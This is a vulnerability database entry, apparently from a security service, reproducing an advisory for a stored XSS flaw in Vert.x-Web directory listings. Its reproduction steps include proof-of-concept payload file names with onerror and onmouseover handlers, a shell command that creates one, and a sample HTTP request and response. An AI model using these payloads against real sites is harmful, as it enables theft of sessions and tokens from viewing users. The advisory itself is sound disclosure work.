Low

Vert.x-Web vulnerable to Stored Cross-site Scripting in directory listings via file names

  • Disclosed: 22.10.2025
  • Updated: 11.10.2026 13:20

Description

  • In the StaticHandlerImpl#sendDirectoryListing(...) method under the text/html branch, file and directory names are directly embedded into the href, title, and link text without proper HTML escaping.
  • As a result, in environments where an attacker can control file names, injecting HTML/JavaScript is possible. Simply accessing the directory listing page will trigger an XSS.
  • Affected Code:
    • File: vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java
    • Lines:
      • 709–713: normalizedDir is constructed without escaping
      • 714–731: <li><a ...> elements insert file names directly into attributes and body without escaping
      • 744: parent directory name construction
      • 746–751: {directory}, {parent}, and {files} are inserted into the HTML template without escaping

Reproduction Steps

  1. Prerequisites:

    • Directory listing is enabled using StaticHandler
      (e.g., StaticHandler.create("public").setDirectoryListing(true))
    • The attacker has the ability to create arbitrary file names under a public directory (e.g., via upload functionality or a shared directory)
  2. Create a malicious file name (example for Unix-based OS):

    • Create an empty file in public/ with one of the following names:
      • <img src=x onerror=alert('XSS')>.txt
      • Or attribute injection: evil" onmouseover="alert('XSS')".txt
    • Example:
      bash
      mkdir -p public
      printf 'test' > "public/<img src=x onerror=alert('XSS')>.txt"
  3. Start the server (example):

    • Routing: router.route("/public/*").handler(StaticHandler.create("public").setDirectoryListing(true));
    • Server: vertx.createHttpServer().requestHandler(router).listen(8890);
  4. Verification request (raw HTTP):

    GET /public/ HTTP/1.1
    Host: 127.0.0.1:8890
    Accept: text/html
    Connection: close
  5. Example response excerpt:

    html
    <ul id="files">
      <li>
        <a href="/public/<img src=x onerror=alert('XSS')>.txt"
           title="<img src=x onerror=alert('XSS')>.txt">
           <img src=x onerror=alert('XSS')>.txt
        </a>
      </li>
      ...
    </ul>
  • When accessing /public/ in a browser, the unescaped file name is interpreted as HTML, and event handlers such as onerror are executed.

Potential Impact

  • Stored XSS

    • Arbitrary JavaScript executes in the browser context of users viewing the listing page
    • Possible consequences:
      • Theft of session tokens, JWTs, localStorage contents, or CSRF tokens
      • Unauthorized actions with admin privileges (user creation, permission changes, settings modifications)
      • Watering hole attacks, including malware distribution or malicious script injection to other pages
  • Common Conditions That Make Exploitation Easier

    • Uploaded files are served directly under a publicly accessible directory
    • Shared/synced directories (e.g., NFS, SMB, WebDAV, or cloud sync) are exposed
    • ZIP/TAR archives are extracted directly under the webroot and directory listing is enabled in production environments

Similar CVEs Previously Reported

  • CVE‑2024‑32966
  • CVE‑2019‑15603

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Java / Kotlin (Maven) io.vertx:vertx-web < 4.5.22, >= 5.0.0, < 5.0.5 4.5.22, 5.0.5

References

CVSS score 4.9/10
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N
Weakness (CWE)
CWE-79
Platform
Java / Kotlin (Maven)
Package
io.vertx:vertx-web
Disclosed
22.10.2025
Updated
11.10.2026 13:20

Sources and licenses

OSV / GitHub Advisory Database - GHSA-45p5-v273-3qqr - CC BY 4.0

Vulnerability history: io.vertx:vertx-web

All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
7
First → latest
10.2018 10.2025
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 2
  • Medium 2
  • Low 1

Disclosures per year

  1. 2018: 2
  2. 2019: 0
  3. 2020: 0
  4. 2021: 1
  5. 2022: 1
  6. 2023: 1
  7. 2024: 0
  8. 2025: 2
  9. 2026: 0
  1. Vert.x-Web vulnerable to Stored Cross-site Scripting in directory listings via file names this entry
    Low · 4.9 CVE-2025-11966 < 4.5.22, >= 5.0.0, < 5.0.5 4.5.22, 5.0.5
  2. Critical · 9.8 CVE-2019-17640 >= 3.0.0, < 3.9.4 3.9.4
  3. High · 8.8 CVE-2020-35217 >= 4.0.0-milestone1, < 4.0.0-milestone5, >= 4.0.0-milestone2, < 4.0.0-milestone5, >= 4.0.0-milestone3, < 4.0.0-milestone5, >= 4.0.0-milestone4, < 4.0.0-milestone5 4.0.0-milestone5
  4. High CVE-2018-12540 >= 3.0.0, < 3.5.3 3.5.3

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.